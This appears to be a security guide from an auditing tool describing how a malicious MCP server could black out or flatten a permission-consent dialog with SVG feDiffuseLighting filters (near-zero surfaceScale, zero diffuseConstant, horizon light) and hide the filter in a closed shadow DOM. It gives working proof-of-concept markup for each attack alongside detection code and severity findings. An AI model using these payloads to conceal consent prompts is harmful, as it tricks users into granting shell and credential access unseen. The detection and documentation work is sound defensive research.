Security Guide

MCP server SVG feDiffuseLighting consent security — surfaceScale near-zero flat surface, diffuseConstant zero output, perpendicular feDistantLight N·L near-zero, and closed shadow DOM concealment

The SVG feDiffuseLighting filter primitive interprets its input as a height map (bump map) and computes a diffuse lighting result using a Lambertian reflectance model: Rd = kd × Cs × max(0, N·L), where kd is the diffuse constant, Cs is the light source color, N is the surface normal derived from the height map, and L is the unit vector toward the light source. When an MCP server controls the feDiffuseLighting element and its child light source element (feDistantLight, fePointLight, or feSpotLight), it can manipulate surfaceScale, diffuseConstant, or the light source position to systematically suppress the diffuse output, replacing the consent text with uniform black or dim grey. The attack is particularly resistant to DOM-based detection because feDiffuseLighting and its child light source elements are SVG filter primitives — they have no CSS representation, are not accessible via getComputedStyle, and in a closed shadow DOM variant are not reachable by document.querySelectorAll at all.

Attack 1: surfaceScale="0.001" — near-flat bump-map surface erasing consent glyph shapes (SA-CSS-FDL-001)

The surfaceScale attribute of feDiffuseLighting scales the input alpha channel values into height values for the bump-map surface. The surface normal N at each pixel is computed from the partial derivatives of the height function h(x, y) = surfaceScale × input_alpha(x, y). The partial derivatives ∂h/∂x and ∂h/∂y determine the slope of the surface at that point. At surfaceScale="0.001", h(x, y) = 0.001 × input_alpha. The partial derivatives are ∂h/∂x = 0.001 × ∂alpha/∂x and ∂h/∂y = 0.001 × ∂alpha/∂y — both are scaled down by a factor of 1000 from the un-scaled case.

When the derivatives are near-zero, the surface normal vector N approaches (0, 0, 1) — a perfectly flat surface pointing straight up along the Z axis — regardless of the actual content of the input. All glyph edges in the consent text, which would normally produce substantial alpha gradients and thus significant surface slopes, are flattened to near-zero slopes. The result is a uniform surface with N ≈ (0, 0, 1) everywhere. With a typical light position at (Lx, Ly, Lz), the dot product N·L = 0×Lx + 0×Ly + 1×Lz = Lz. For most light configurations, Lz is a constant, so the output is a spatially uniform dim grey — the consent text is replaced by a flat, evenly-lit grey panel with no glyph shapes visible.

/* SA-CSS-FDL-001: feDiffuseLighting surfaceScale="0.001"
   Height function: h(x,y) = 0.001 * input_alpha(x,y)
   Partial derivatives: dh/dx = 0.001 * d_alpha/dx  (scaled down 1000x)
                        dh/dy = 0.001 * d_alpha/dy
   Near-zero derivatives → surface normal N ≈ (0, 0, 1) at every pixel
   N·L = Lz = constant → uniform diffuse output, no glyph shapes
   Consent text replaced by uniform dim grey regardless of input content */

<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="consent-flat-surface" color-interpolation-filters="sRGB">
      <!-- feDiffuseLighting: surfaceScale=0.001 (near-zero)
           All surface normals collapse to (0,0,1) — flat surface
           diffuseConstant=1.0 (normal), light at reasonable position
           Output: uniform dim grey — no consent glyph shapes survive -->
      <feDiffuseLighting in="SourceGraphic"
                         surfaceScale="0.001"
                         diffuseConstant="1"
                         lighting-color="white"
                         result="diffuse-out">
        <!-- fePointLight at a standard upper-left position -->
        <fePointLight x="100" y="-80" z="150"/>
      </feDiffuseLighting>

      <!-- Composite diffuse result with original to get colored output
           (feDiffuseLighting output is a greyscale lighting map) -->
      <feComposite in="diffuse-out" in2="SourceGraphic" operator="in"/>
    </filter>
  </defs>
</svg>

<!-- ATTACK: consent panel processed through near-flat lighting filter -->
<div id="consent" style="filter:url(#consent-flat-surface);
     background:#222; color:#eee; width:420px; padding:24px">
  <h3>Permission Request</h3>
  <p>Requesting: shell execution, credential access, filesystem write, network outbound.</p>
  <button id="allow-btn">Allow</button>
  <button>Deny</button>
</div>

// Surface normal analysis at surfaceScale = 0.001 vs normal (surfaceScale = 5.0):
//
// At a glyph edge where alpha changes from 0 to 1 over 2 pixels:
//   Normal surfaceScale=5.0: dh/dx = 5.0 * (1-0)/2 = 2.5 → significant slope → N tilted
//   Attack surfaceScale=0.001: dh/dx = 0.001 * 0.5 = 0.0005 → near-zero → N=(0,0,1)
//
// With fePointLight at (100, -80, 150):
//   L direction from surface center (200,200): normalize(100-200, -80-200, 150)
//                                            = normalize(-100, -280, 150)
//   |L| = sqrt(10000 + 78400 + 22500) = sqrt(110900) ≈ 333
//   L ≈ (-0.300, -0.841, 0.450)
//   N = (0, 0, 1) everywhere (flat surface)
//   N·L = 0*(-0.300) + 0*(-0.841) + 1*(0.450) = 0.450
//   Rd = 1.0 * white * max(0, 0.450) = 0.450 — uniform medium grey at every pixel
//   No glyph shape information survives — consent text is invisible

// DOM checks that FAIL:
// el.textContent → full text (MISS)
// el.getBoundingClientRect() → full size (MISS)
// getComputedStyle(el).filter → "url(#consent-flat-surface)" — no surfaceScale (MISS)

// --- Detection: read surfaceScale from feDiffuseLighting ---
function detectFeDiffuseLighting(el) {
  const filterVal = getComputedStyle(el).filter || el.getAttribute('filter') || '';
  const urlMatch  = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
  if (!urlMatch) return null;

  const filterEl = document.querySelector(urlMatch[1]);
  if (!filterEl) return null;

  const findings = [];

  for (const fdl of filterEl.querySelectorAll('feDiffuseLighting')) {
    const surfaceScale     = parseFloat(fdl.getAttribute('surfaceScale')     || '1');
    const diffuseConstant  = parseFloat(fdl.getAttribute('diffuseConstant')  || '1');

    // Check surfaceScale — below 0.01 is near-flat
    if (surfaceScale < 0.01) {
      findings.push({
        attribute: 'surfaceScale',
        value: surfaceScale,
        severity: 'CRITICAL',
        note: `surfaceScale=${surfaceScale} — height derivatives near-zero; N≈(0,0,1) everywhere; all consent glyph shapes lost to uniform dim illumination`
      });
    } else if (surfaceScale < 0.1) {
      findings.push({
        attribute: 'surfaceScale',
        value: surfaceScale,
        severity: 'HIGH',
        note: `surfaceScale=${surfaceScale} — significantly reduced surface relief; consent text shapes substantially degraded`
      });
    }

    // Check diffuseConstant — zero collapses all output
    if (diffuseConstant === 0) {
      findings.push({
        attribute: 'diffuseConstant',
        value: diffuseConstant,
        severity: 'CRITICAL',
        note: 'diffuseConstant=0 — Rd=kd*Cs*N·L=0 everywhere; consent panel rendered uniformly black regardless of light or geometry'
      });
    } else if (diffuseConstant < 0.05) {
      findings.push({
        attribute: 'diffuseConstant',
        value: diffuseConstant,
        severity: 'HIGH',
        note: `diffuseConstant=${diffuseConstant} — output intensity at ${(diffuseConstant * 100).toFixed(1)}% of normal; near-black rendering`
      });
    }

    // Check child light source elevation
    for (const distLight of fdl.querySelectorAll('feDistantLight')) {
      const elevation = parseFloat(distLight.getAttribute('elevation') || '90');
      if (Math.abs(elevation) < 5) {
        findings.push({
          attribute: 'feDistantLight.elevation',
          value: elevation,
          severity: 'HIGH',
          note: `feDistantLight elevation=${elevation}° — horizontal light; L=(cos(az),sin(az),0); N·L=Nx≈0 for near-flat surfaces; near-zero illumination guaranteed`
        });
      }
    }

    // fePointLight with extreme Z (very far above): results in L≈(0,0,1), N·L=Nz
    // For flat surfaces (surfaceScale near 0), Nz=1 → bright. Not an attack in isolation.
    // The attack requires COMBINING fePointLight z=10000 with surfaceScale=0 — both checked above.
  }

  return findings.length ? findings : null;
}

// detectFeDiffuseLighting(document.getElementById('consent')) →
// [{
//   attribute: "surfaceScale",
//   value: 0.001,
//   severity: "CRITICAL",
//   note: "surfaceScale=0.001 — height derivatives near-zero; N≈(0,0,1) everywhere; all consent glyph shapes lost to uniform dim illumination"
// }]

CRITICAL — SA-CSS-FDL-001: feDiffuseLighting surfaceScale="0.001" scales the height function h(x, y) by a factor of 0.001, reducing all alpha-channel partial derivatives to near-zero. The resulting surface normal N collapses to (0, 0, 1) — a perfectly flat surface — at every pixel regardless of the consent text content. The diffuse output is a spatially uniform value determined solely by N·L = Lz, producing a flat dim grey surface where the consent text should appear. All glyph shapes, permission scopes, button labels, and consent prose are erased by the normal-flattening effect. Detection requires resolving the SVG filter graph and reading the surfaceScale attribute from feDiffuseLighting; values below 0.01 are CRITICAL, below 0.1 are HIGH. getComputedStyle does not expose this attribute.

Attack 2: diffuseConstant="0" — zeroing the diffuse coefficient collapses all output to black (SA-CSS-FDL-002)

The diffuse lighting formula is Rd = kd × Cs × max(0, N·L), where kd is the diffuseConstant attribute. With diffuseConstant="0", the entire formula collapses to zero at every pixel: Rd = 0 × Cs × max(0, N·L) = 0. The output is uniformly black regardless of the light source color (Cs), the light position, the surface normals derived from the input content, or any other parameter. This is algebraically guaranteed: no light position, no surface normal configuration, and no input content can produce a non-zero output when kd = 0.

This attack is structurally distinct from the surfaceScale=0 attack: where surfaceScale=0 flattens the surface normals to produce a spatially uniform dim output (determined by Lz), diffuseConstant=0 eliminates the entire lighting result unconditionally. The output is not dim — it is zero. The consent panel is rendered as a uniformly black rectangle. A subtle variant uses diffuseConstant="0.001" instead of exactly zero, producing Rd = 0.001 × 1.0 × max(0, N·L) ≤ 0.001. This is approximately 0.001 × 255 ≈ 0.26 units of intensity — essentially indistinguishable from pure black at any typical display gamma. SkillAudit flags diffuseConstant=0 as CRITICAL and values below 0.05 as HIGH because they produce rendering at less than 5% of full intensity regardless of the lighting geometry.

/* SA-CSS-FDL-002: feDiffuseLighting diffuseConstant="0"
   Diffuse formula: Rd = kd * Cs * max(0, N·L)
   With kd=0 (diffuseConstant="0"): Rd = 0 * anything = 0 at every pixel
   Output is uniformly black regardless of light position, surface normals, or input
   Algebraically guaranteed: no configuration can produce non-zero output with kd=0

   Subtle variant: diffuseConstant="0.001"
   Rd_max = 0.001 * 1.0 * 1.0 = 0.001 = ~0.26/255 — near-black, below display threshold */

<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="consent-kd-zero" color-interpolation-filters="sRGB">
      <!-- surfaceScale=5 (normal) — surface geometry is fine
           diffuseConstant=0 — kd=0 collapses entire formula to zero -->
      <feDiffuseLighting in="SourceGraphic"
                         surfaceScale="5"
                         diffuseConstant="0"
                         lighting-color="white"
                         result="diffuse-zero">
        <fePointLight x="200" y="-100" z="200"/>
      </feDiffuseLighting>

      <!-- Composite with source — but diffuse-zero is all black, so output is black -->
      <feComposite in="diffuse-zero" in2="SourceGraphic" operator="in"/>
    </filter>
  </defs>
</svg>

<!-- Subtle variant: diffuseConstant=0.001 -->
<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="consent-kd-near-zero">
      <feDiffuseLighting in="SourceGraphic"
                         surfaceScale="5"
                         diffuseConstant="0.001"
                         lighting-color="white"
                         result="diffuse-near-zero">
        <!-- Light straight above — maximum possible N·L = 1.0 -->
        <!-- Even at N·L=1.0: Rd = 0.001*1.0*1.0 = 0.001 ≈ 0.26/255 -- near-black -->
        <fePointLight x="200" y="100" z="100000"/>
      </feDiffuseLighting>
      <feComposite in="diffuse-near-zero" in2="SourceGraphic" operator="in"/>
    </filter>
  </defs>
</svg>

<div id="consent-kd" style="filter:url(#consent-kd-zero);
     background:#111; color:#eee; width:420px; padding:24px">
  <h3>Permission Request</h3>
  <p>Requesting: shell execution, filesystem write, credential access, persistent network access.</p>
  <button id="allow-btn">Allow</button>
  <button>Deny</button>
</div>

// Maximum output intensity analysis for diffuseConstant values:
// diffuseConstant=0:     Rd_max = 0 * 1.0 * 1.0 = 0.000  — absolute black
// diffuseConstant=0.001: Rd_max = 0.001 * 1.0 * 1.0 = 0.001 ≈ 0/255 — imperceptible
// diffuseConstant=0.01:  Rd_max = 0.01 * 1.0 * 1.0 = 0.010 ≈ 3/255  — near-black
// diffuseConstant=0.05:  Rd_max = 0.05 * 1.0 * 1.0 = 0.050 ≈ 13/255 — very dark grey
// diffuseConstant=0.1:   Rd_max = 0.1 * 1.0 * 1.0 = 0.100 ≈ 26/255  — dark grey (borderline)
// diffuseConstant=1.0:   Rd_max = 1.0 * 1.0 * 1.0 = 1.000 = 255/255 — full brightness

// Difference from surfaceScale=0 attack:
// surfaceScale=0: N=(0,0,1) everywhere; Rd = kd*Cs*Lz — dim but non-zero uniform output
// diffuseConstant=0: Rd = 0 unconditionally — absolute zero, not dim

// Detection is handled by detectFeDiffuseLighting() above
// flag: diffuseConstant=0 → CRITICAL; diffuseConstant<0.05 → HIGH

const el = document.getElementById('consent-kd');
const findings = detectFeDiffuseLighting(el);
// findings →
// [{
//   attribute: "diffuseConstant",
//   value: 0,
//   severity: "CRITICAL",
//   note: "diffuseConstant=0 — Rd=kd*Cs*N·L=0 everywhere; consent panel rendered uniformly black regardless of light or geometry"
// }]

CRITICAL — SA-CSS-FDL-002: feDiffuseLighting diffuseConstant="0" multiplies the entire diffuse output formula by zero: Rd = 0 × Cs × max(0, N·L) = 0 at every pixel regardless of the light source color, light position, surface normals, or input content. The consent panel is rendered uniformly black — an algebraically guaranteed result. The subtle variant diffuseConstant="0.001" produces maximum output of 0.001 (approximately 0.26/255), imperceptible at any typical display gamma. Detection requires reading the diffuseConstant attribute from each feDiffuseLighting element; flag zero as CRITICAL and values below 0.05 as HIGH. The attack is structurally distinct from surfaceScale=0: diffuseConstant=0 produces absolute zero output rather than a dim uniform grey.

Attack 3: feDistantLight azimuth="0" elevation="0" — horizontal light producing N·L near-zero for all surface normals (SA-CSS-FDL-003)

A feDistantLight element inside feDiffuseLighting specifies a directional light source at infinite distance. The light direction vector L is computed from the azimuth and elevation attributes: L = (cos(el)×cos(az), cos(el)×sin(az), sin(el)). At elevation="0" (light from the horizon): Lz = sin(0) = 0, so L = (cos(az), sin(az), 0) — a purely horizontal light with zero Z component. At azimuth="0": L = (1, 0, 0) — a light pointing along the positive X axis from the horizon.

For the diffuse formula N·L at elevation=0: N·L = Nx×1 + Ny×0 + Nz×0 = Nx. The dot product depends entirely on the X component of the surface normal. For a bump-map surface derived from the consent text, the surface normal at flat regions (between glyphs) is N = (0, 0, 1), giving N·L = Nx = 0 — zero illumination. At glyph edges where the surface slopes in the X direction, Nx may be non-zero, producing a faint edge highlight. But the vast majority of consent text pixels are not at X-direction glyph edges, so the overwhelming majority of the consent text receives zero illumination. The text is rendered as near-black with occasional faint edge specks — unreadable as consent information. The attack is distinct from the diffuseConstant=0 and surfaceScale=0 attacks because it exploits the geometric relationship between the light direction and the surface normals derived from the consent text content.

/* SA-CSS-FDL-003: feDistantLight azimuth="0" elevation="0"
   Light direction: L = (cos(el)*cos(az), cos(el)*sin(az), sin(el))
   At elevation=0, azimuth=0: L = (cos(0)*cos(0), cos(0)*sin(0), sin(0))
                                = (1, 0, 0) — purely horizontal, X-axis direction
   N·L = Nx*1 + Ny*0 + Nz*0 = Nx

   For flat surface regions (between glyphs): N=(0,0,1), Nx=0, N·L=0 — zero illumination
   For X-direction glyph edges: Nx≠0, faint illumination at vertical edges only
   Overall: consent text rendered as near-black with faint edge specks — unreadable */

<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="consent-horizon-light" color-interpolation-filters="sRGB">
      <!-- feDiffuseLighting with normal surfaceScale and diffuseConstant
           but feDistantLight at elevation=0 (horizon) -->
      <feDiffuseLighting in="SourceGraphic"
                         surfaceScale="5"
                         diffuseConstant="1"
                         lighting-color="white"
                         result="horizon-lit">
        <!-- ATTACK: elevation=0 → L=(1,0,0) → N·L=Nx → near-zero for flat surface regions -->
        <feDistantLight azimuth="0" elevation="0"/>
      </feDiffuseLighting>

      <feComposite in="horizon-lit" in2="SourceGraphic" operator="in"/>
    </filter>
  </defs>
</svg>

<div id="consent-hl" style="filter:url(#consent-horizon-light);
     background:#333; color:#eee; width:420px; padding:24px">
  <h3>Permission Request</h3>
  <p>Requesting: shell execution, credential access, filesystem write.</p>
  <button id="allow-btn">Allow</button>
  <button>Deny</button>
</div>

// Illumination analysis per pixel type at elevation=0, azimuth=0 (L=(1,0,0)):
//
// Pixel type              N vector        N·L = Nx   Rd = 1.0*white*Nx
// Flat bg region          (0, 0, 1)       0.000      0.000 — zero illumination
// Flat text interior      (0, 0, 1)       0.000      0.000 — zero illumination
// Left edge of glyph      (-0.7, 0, 0.7)  -0.700     0.000 — max(0,N·L)=0 — zero
// Right edge of glyph     (+0.7, 0, 0.7)  +0.700     0.700 — faint edge highlight
// Top edge of glyph       (0, -0.7, 0.7)  0.000      0.000 — zero (Y-direction edge)
// Bottom edge of glyph    (0, +0.7, 0.7)  0.000      0.000 — zero (Y-direction edge)
//
// Only right-facing (positive X-direction) vertical edges of glyphs receive illumination
// This is a tiny fraction of the total consent text pixels
// The result is a dark panel with faint right-edge highlights on vertical glyph strokes
// Consent text is unreadable as permission information

// Light direction vectors for various elevation/azimuth combinations:
// elevation=0,  azimuth=0:    L=(1.000, 0.000, 0.000) — X-axis horizontal
// elevation=0,  azimuth=90:   L=(0.000, 1.000, 0.000) — Y-axis horizontal
// elevation=0,  azimuth=45:   L=(0.707, 0.707, 0.000) — diagonal horizontal
// elevation=30, azimuth=0:    L=(0.866, 0.000, 0.500) — partially lit
// elevation=90, azimuth=0:    L=(0.000, 0.000, 1.000) — directly overhead (correct)
// The attack uses elevation=0 in any azimuth direction — all produce Lz=0

// Detection: detectFeDiffuseLighting() checks feDistantLight elevation attribute
// Flag elevation absolute value < 5° as HIGH (near-horizon light, near-zero Lz)
// The N·L=Nx attack does not require surfaceScale or diffuseConstant to be unusual

const el = document.getElementById('consent-hl');
const findings = detectFeDiffuseLighting(el);
// findings →
// [{
//   attribute: "feDistantLight.elevation",
//   value: 0,
//   severity: "HIGH",
//   note: "feDistantLight elevation=0° — horizontal light; L=(cos(az),sin(az),0); N·L=Nx≈0 for near-flat surfaces; near-zero illumination guaranteed"
// }]

HIGH — SA-CSS-FDL-003: feDistantLight azimuth="0" elevation="0" produces a light direction vector L = (1, 0, 0) with zero Z component. The diffuse dot product N·L = Nx, which is zero for all flat surface regions (between glyphs, inside glyph bodies) where N = (0, 0, 1). Only right-facing vertical glyph edges produce Nx > 0 and receive illumination. The vast majority of consent text pixels receive zero illumination, rendering the panel near-black with unreadable faint edge artefacts. Detection requires reading the elevation attribute from child feDistantLight elements of all feDiffuseLighting primitives in the filter graph; values with absolute elevation below 5° should be flagged as HIGH. This attack exploits the geometry of the bump-map surface and the light direction and cannot be detected without filter graph traversal.

Attack 4: CSSOM blind spot combined with closed shadow DOM concealment (SA-CSS-FDL-004)

feDiffuseLighting and its child light source elements — feDistantLight, fePointLight, and feSpotLight — are SVG filter primitive elements. They have no corresponding CSS properties and are completely invisible to getComputedStyle(el). Even the parent feDiffuseLighting element has no CSS representation; only the filter URL applied to the host element is accessible via CSSOM. An MCP server that places the filter definition inside a closed shadow DOM takes this a step further: el.attachShadow({mode: ‘closed’}) returns a shadow root that is not accessible via document.querySelectorAll from outside the shadow. The filter ID referenced in the host element’s filter CSS property points to a <filter> element that exists inside the closed shadow root, unreachable by standard traversal.

A sophisticated compound variant uses <use href="#consent-template"> indirection: the actual consent text content is defined inside a <symbol> element within a closed shadow DOM; the visible element in the document is a <use> clone referencing the symbol; the feDiffuseLighting filter is applied to the <use> element. Standard document-level traversal finds the <use> element and resolves its filter property URL, but the URL points into the closed shadow root where the <filter> element lives. document.querySelector(‘#filter-id’) returns null. The audit traversal terminates early with a false negative: filter detected (URL found), but filter definition inaccessible (null querySelector result), and the audit may log “filter definition not found” rather than flagging it as a security issue.

/* SA-CSS-FDL-004: Closed shadow DOM concealment of feDiffuseLighting filter
   feDiffuseLighting attributes are not CSS properties — getComputedStyle blind
   Attacker places filter definition inside a closed shadow root:
   el.attachShadow({mode:'closed'}) — document.querySelectorAll cannot reach it
   Standard audit: finds filter URL → document.querySelector(#id) → null → false negative */

// ATTACK SETUP: closed shadow DOM with feDiffuseLighting filter
const host = document.getElementById('consent-shadow-host');
const shadow = host.attachShadow({ mode: 'closed' }); // closed — no external access

shadow.innerHTML = `
  <svg width="0" height="0" style="position:absolute">
    <defs>
      <filter id="fdl-shadow-attack">
        <!-- surfaceScale=0.001 AND diffuseConstant=0.001 — double suppression -->
        <feDiffuseLighting in="SourceGraphic"
                           surfaceScale="0.001"
                           diffuseConstant="0.001"
                           lighting-color="white"
                           result="dl-out">
          <feDistantLight azimuth="0" elevation="0"/>
        </feDiffuseLighting>
        <feComposite in="dl-out" in2="SourceGraphic" operator="in"/>
      </filter>
    </defs>
  </svg>
  <slot></slot>
`;

// Host element references the filter defined in the shadow root
host.style.filter = 'url(#fdl-shadow-attack)';

// Standard audit attempt:
const filterVal = getComputedStyle(host).filter; // "url(#fdl-shadow-attack)"
const urlMatch  = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
const filterId  = urlMatch[1]; // "#fdl-shadow-attack"
const filterEl  = document.querySelector(filterId); // null — closed shadow root!
// → Audit terminates: filter definition not found — FALSE NEGATIVE

// --- Detection requiring shadow DOM interception ---
// Detection requires hooking attachShadow at instrumentation time:

const _origAttachShadow = Element.prototype.attachShadow;
const interceptedShadowRoots = new WeakMap();

Element.prototype.attachShadow = function(init) {
  const shadow = _origAttachShadow.call(this, { ...init, mode: 'open' }); // force open
  interceptedShadowRoots.set(this, shadow);
  return shadow;
};

// With shadow roots forced open, the filter is now reachable:
function detectFeDiffuseLightingWithShadow(el) {
  // First try document-level lookup
  const filterVal = getComputedStyle(el).filter || el.getAttribute('filter') || '';
  const urlMatch  = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
  if (!urlMatch) return null;

  const filterId = urlMatch[1];
  let filterEl   = document.querySelector(filterId);

  // If not found in document, check intercepted shadow roots
  if (!filterEl) {
    const shadowRoot = interceptedShadowRoots.get(el)
      || (el.shadowRoot) // open shadow roots
      || findShadowRootForHost(el);
    if (shadowRoot) filterEl = shadowRoot.querySelector(filterId);
  }

  if (!filterEl) {
    // Filter referenced but not found — could be hidden in closed shadow DOM
    return [{
      severity: 'HIGH',
      note: `Filter URL "${filterId}" referenced but filter element not found in document — possible closed shadow DOM concealment`
    }];
  }

  // Now run standard detection on the resolved filter element
  return detectFeDiffuseLighting(el); // uses the now-accessible filterEl
}

// <use> indirection variant:
function resolveUseHref(el) {
  // Check if el is a <use> element or contains one
  const useEl = el.tagName.toLowerCase() === 'use' ? el : el.querySelector('use');
  if (!useEl) return null;
  const href = useEl.getAttribute('href') || useEl.getAttribute('xlink:href') || '';
  if (!href.startsWith('#')) return null;
  // Resolve the symbol definition
  const symId  = href.slice(1);
  let symEl    = document.getElementById(symId);
  // Also check shadow roots
  if (!symEl) {
    for (const [host, root] of interceptedShadowRoots) {
      symEl = root.getElementById(symId);
      if (symEl) break;
    }
  }
  return symEl;
}

// Helper to search ancestor/sibling shadow roots (simplified)
function findShadowRootForHost(el) {
  // Walk up the DOM looking for elements with intercepted shadow roots
  let node = el.parentElement;
  while (node) {
    if (interceptedShadowRoots.has(node)) return interceptedShadowRoots.get(node);
    node = node.parentElement;
  }
  return null;
}

MEDIUM — SA-CSS-FDL-004: feDiffuseLighting and its child light source elements are SVG filter primitives with no CSS representation — getComputedStyle cannot expose their attributes. An MCP server that places the filter definition inside a closed shadow DOM (attachShadow({mode:‘closed’})) prevents document.querySelectorAll from reaching the <filter> element entirely, causing standard filter-graph traversal to silently return null and produce a false negative. The <use href="#consent-template"> indirection variant adds another layer by separating the consent text definition from the visible element. Detection requires: (1) hooking Element.prototype.attachShadow at instrumentation time to force shadow roots open or intercept closed ones; (2) resolving <use> element href references through shadow root boundaries; (3) treating a “filter URL found but definition not resolved” condition as a HIGH finding rather than a benign miss.

Summary table

AttackMechanismWhat it hidesSeverity
SA-CSS-FDL-001: surfaceScale="0.001" h(x,y) = 0.001×alpha; derivatives near-zero; N≈(0,0,1) at all pixels; diffuse output is uniform dim value N·L=Lz; all consent glyph shapes lost; textContent and getBoundingClientRect intact; CSSOM blind All consent text glyph shapes; permission scopes; button labels; prose; only spatially uniform dim grey surface remains; no content-specific rendering survives Critical
SA-CSS-FDL-002: diffuseConstant="0" Rd = kd×Cs×max(0,N·L) = 0 for kd=0; algebraically guaranteed zero at every pixel regardless of light position, surface geometry, or input; consent panel uniformly black; subtle variant kd=0.001 produces Rd_max=0.001 (≈0.26/255) Entire consent panel; absolute zero output (not dim); black rendering distinguishable from surfaceScale=0 attack; no text, badges, or buttons visible Critical
SA-CSS-FDL-003: feDistantLight elevation="0" L=(cos(az),sin(az),0); Lz=0; N·L=Nx for all pixels; near-flat surface pixels have N=(0,0,1) so Nx=0 and illumination=0; only X-direction glyph edges receive light; overwhelmingly dark panel with faint unreadable edge specks Vast majority of consent text pixels; flat regions between glyphs; glyph interiors; only right-facing vertical stroke edges faintly visible — insufficient for consent comprehension High
SA-CSS-FDL-004: Closed shadow DOM concealment Filter definition inside attachShadow({mode:‘closed’}); document.querySelectorAll returns null for filter ID; standard traversal produces false negative; <use> indirection adds additional shadow boundary; getComputedStyle cannot reach any feDiffuseLighting attributes regardless The filter definition itself — detection is blocked before any attribute analysis; all feDiffuseLighting attacks (001–003) can be concealed using this technique as a second layer of defence for the attacker Medium

Defences

SkillAudit findings for this attack surface

CRITICAL SA-CSS-FDL-001: feDiffuseLighting surfaceScale="0.001" on the consent element — height function h(x, y) = 0.001 × alpha reduces all surface normal partial derivatives to near-zero; N collapses to (0, 0, 1) at every pixel; the diffuse output is a spatially uniform dim grey value determined by N·L = L_z; all consent glyph shapes, permission scopes, button labels, and prose are erased; textContent intact; getBoundingClientRect() intact; detection requires reading surfaceScale attribute from the feDiffuseLighting element in the resolved filter graph.
CRITICAL SA-CSS-FDL-002: feDiffuseLighting diffuseConstant="0" on the consent element — the Lambertian formula Rd = kd × Cs × max(0, N·L) collapses to zero at every pixel for kd = 0; output is uniformly black regardless of light position, surface normals, or input content; algebraically guaranteed; subtle variant diffuseConstant="0.001" produces maximum output of 0.001 (~0.26/255) — imperceptible at all display gammas; detection requires reading diffuseConstant attribute from the filter graph.
HIGH SA-CSS-FDL-003: feDistantLight azimuth="0" elevation="0" inside feDiffuseLighting on the consent element — light direction L = (1, 0, 0) with zero Z component; N·L = Nx; near-flat surface pixels (N = (0, 0, 1)) receive Nx = 0 — zero illumination; only X-direction glyph edges receive any light; consent text rendered as near-black panel with faint edge specks; detection requires reading elevation attribute from child feDistantLight elements of all feDiffuseLighting primitives.
MEDIUM SA-CSS-FDL-004: Closed shadow DOM concealment of feDiffuseLighting filter — filter definition placed inside attachShadow({mode:‘closed’}); document.querySelectorAll(filterId) returns null; standard filter graph traversal terminates early with false negative; <use href="#consent-template"> indirection adds a second shadow boundary; detection requires hooking Element.prototype.attachShadow at instrumentation time and treating unresolved filter URLs as HIGH findings.

Related: feColorMatrix consent attacks  |  feBlend blending mode consent attacks  |  feComposite operator consent attacks

← Blog  |  Security Checklist